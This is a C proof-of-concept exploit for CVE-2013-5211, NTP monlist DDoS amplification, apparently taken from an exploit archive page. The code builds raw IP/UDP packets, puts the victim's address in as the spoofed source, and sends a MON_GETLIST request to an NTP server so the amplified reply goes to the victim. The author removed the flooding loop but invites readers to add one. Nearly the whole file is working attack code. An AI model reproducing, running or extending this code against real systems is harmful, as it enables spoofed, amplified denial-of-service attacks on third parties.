167 lines
No EOL
6.2 KiB
C
167 lines
No EOL
6.2 KiB
C
/*
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* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
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* Date: 28/04/2014
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* Code Author: Danilo PC - <DaNotKnow@gmail.com>
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* CVE : CVE-2013-5211
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*/
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/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
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* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
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* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
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*/
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//------------------------------------------------------------------------------------------------//
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//------------------------------------------------------------------------------------------------//
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#include <stdio.h> //For on printf function
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#include <string.h> //For memset
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#include <sys/socket.h> //Structs and Functions used for sockets operations.
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#include <stdlib.h> //For exit function
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#include <netinet/ip.h> //Structs for IP header
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//Struct for UDP Packet
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struct udpheader{
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unsigned short int udp_sourcePortNumber;
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unsigned short int udp_destinationPortNumber;
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unsigned short int udp_length;
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unsigned short int udp_checksum;
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};
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// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
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struct ntpreqheader {
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unsigned char rm_vn_mode; /* response, more, version, mode */
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unsigned char auth_seq; /* key, sequence number */
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unsigned char implementation; /* implementation number */
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unsigned char request; /* request number */
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unsigned short err_nitems; /* error code/number of data items */
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unsigned short mbz_itemsize; /* item size */
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char data[40]; /* data area [32 prev](176 byte max) */
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unsigned long tstamp; /* time stamp, for authentication */
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unsigned int keyid; /* encryption key */
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char mac[8]; /* (optional) 8 byte auth code */
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};
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// Calculates the checksum of the ip header.
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unsigned short csum(unsigned short *ptr,int nbytes)
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{
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register long sum;
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unsigned short oddbyte;
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register short answer;
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sum=0;
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while(nbytes>1) {
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sum+=*ptr++;
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nbytes-=2;
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}
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if(nbytes==1) {
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oddbyte=0;
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*((u_char*)&oddbyte)=*(u_char*)ptr;
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sum+=oddbyte;
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}
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sum = (sum>>16)+(sum & 0xffff);
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sum = sum + (sum>>16);
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answer=(short)~sum;
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return(answer);
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}
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//Da MAIN
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int main(int argc, char **argv)
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{
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int status; // Maintains the return values of the functions
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struct iphdr *ip; // Pointer to ip header struct
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struct udpheader *udp; // Pointer to udp header struct
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struct ntpreqheader *ntp; // Pointer to ntp request header struct
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int sockfd; // Maintains the socket file descriptor
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int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
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struct sockaddr_in dest; // Maintains the data of the destination address
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char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
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// Parameters check
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if( argc != 3){
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printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
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printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
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printf("Watch it on wireshark!\n");
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printf("Coded for education purpose only!\n");
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exit(1);
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}
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// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
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sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
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if (sockfd == -1){
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printf("Error on initializing the socket\n");
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exit(1);
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}
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//Sets the option IP_HDRINCL
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status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
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if (status == -1){
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printf("Error on setting the option HDRINCL on socket\n");
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exit(1);
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}
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//"Zeroes" all the packet stack
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memset( packet, 0, sizeof(packet) );
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//Mounts the packet headers
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// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
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ip = (struct iphdr *)packet;
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udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
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ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
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//Fill the IP Header
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ip->version = 4; //IPv4
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ip->ihl = 5; //Size of the Ip header, minimum 5
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ip->tos = 0; //Type of service, the default value is 0
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ip->tot_len = sizeof(packet); //Size of the datagram
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ip->id = htons(1234); //LengthIdentification Number
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ip->frag_off = 0; //Flags, zero represents reserved
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ip->ttl = 255; //Time to Live. Maximum of 255
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ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
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ip->check = 0; //Checksum.
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ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)
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ip->daddr = inet_addr( argv[2] ); //Destination IP
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//Fills the UDP Header
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udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
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udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
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udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
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udp->udp_checksum = 0; //Checksum
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//Calculate the checksums
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ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
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//Sets the destination data
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dest.sin_family = AF_INET; // Address Family Ipv4
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dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
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dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote
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//Fills the NTP header
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//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
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//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
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// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
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// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
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ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
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ntp->implementation=0x03; //Sets the implementation to 3
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ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
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//All the other fields of the struct are zeroed
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// Sends the packets
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status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
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if(status <0){
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printf("Failed to send the packets\n");
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exit(1);
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}
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} |